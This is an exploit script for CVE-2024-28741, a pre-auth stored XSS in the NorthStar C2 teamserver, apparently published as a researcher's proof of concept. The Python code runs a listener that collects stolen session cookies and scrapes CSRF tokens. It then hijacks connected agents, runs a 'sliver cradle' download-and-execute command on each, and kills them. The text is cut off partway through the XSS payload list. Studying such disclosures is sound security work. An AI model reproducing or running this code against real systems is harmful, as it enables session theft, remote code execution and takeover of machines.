# Exploit Title: NorthStar C2 agent RCE via stored XSS # Date: 2024-03-11 # Exploit Author: @_chebuya # Software Link: https://github.com/EnginDemirbilek/NorthStarC2 # Version: v1.0 # Tested on: Ubuntu 20.04 LTS # CVE: CVE-2024-28741 # Description: NorthStar C2 applies insufficient sanitization on agent registration routes, allowing an unauthenticated attacker to send multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page. This XSS can be leveraged to execute commands on NorthStar C2 agents # Blog: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/ from http.server import BaseHTTPRequestHandler, HTTPServer from bs4 import BeautifulSoup import requests import base64 import threading import time import os class Collector(BaseHTTPRequestHandler): def do_GET(self): cookie = self.path.split("=")[1] print("Cookie: " + cookie) self.send_response(200) self.end_headers() self.wfile.write(b"") background_thread = threading.Thread(target=steal_agents, args=(cookie,)) background_thread.start() self.server.shutdown() def agent_execute_command(agent_id, csrf_token, headers, command): data = { 'slave': agent_id, 'command': command, 'sid': agent_id, 'token': csrf_token } r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data) while True: r = requests.get(target_url + f"/getresponse.php?slave={agent_id}", headers=headers) if len(r.text) != 0 or command == "die": break time.sleep(1) def steal_agents(cookie): headers = { "Cookie": f"PHPSESSID={cookie}" } r = requests.get(target_url + "/clients.php", headers=headers) soup = BeautifulSoup(r.text, 'html.parser') rows = soup.find_all('tr') agent_ids = [] hostnames = [] for row in rows: cells = row.find_all('td') if len(cells) != 9: continue status = cells[7].text.strip() if status != 'Online': continue agent_ids.append(cells[1].text.strip()) hostnames.append(cells[5].text.strip()) script_tags = soup.find_all('script') csrf_token = None for script_tag in script_tags: if 'csrfToken' in script_tag.text: csrf_token = script_tag.text.split('"')[1] break if csrf_token: print("CSRF Token:", csrf_token) else: print("CSRF Token not found") return for i in range(len(agent_ids)): agent_id = agent_ids[i] hostname = hostnames[i] print(f"Stealing {hostname} ({agent_id})...") print("Enabling shell mode") agent_execute_command(agent_id, csrf_token, headers, "enablecmd") print(f"Running sliver cradle: {cradle_command}") agent_execute_command(agent_id, csrf_token, headers, cradle_command) print("Disabling shell mode") agent_execute_command(agent_id, csrf_token, headers, "disablecmd") print("Sending suicide to slave") agent_execute_command(agent_id, csrf_token, headers, "die") print("Exploit finished, exiting") os._exit(0) def xor_encryption(text, key): encrypted_text = "" for i in range(len(text)): encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)])) return encrypted_text def generate_sid(sid): encrypted_sid = xor_encryption(sid, "northstar") return base64.urlsafe_b64encode(encrypted_sid.encode()).decode() def exploit(target_url, callback_url): target_url = target_url.rstrip("/") + "/login.php" protocol = callback_url.split(":")[0] + "://" host = callback_url.split("/")[2].split(":")[0] h1, h2 = host[:len(host)//2], host[len(host)//2:] if callback_url.count(":") == 2: port = callback_url.split(":")[2] else: if protocol == "https://": port = "443" else: port = "80" sid_payloads = ["N*/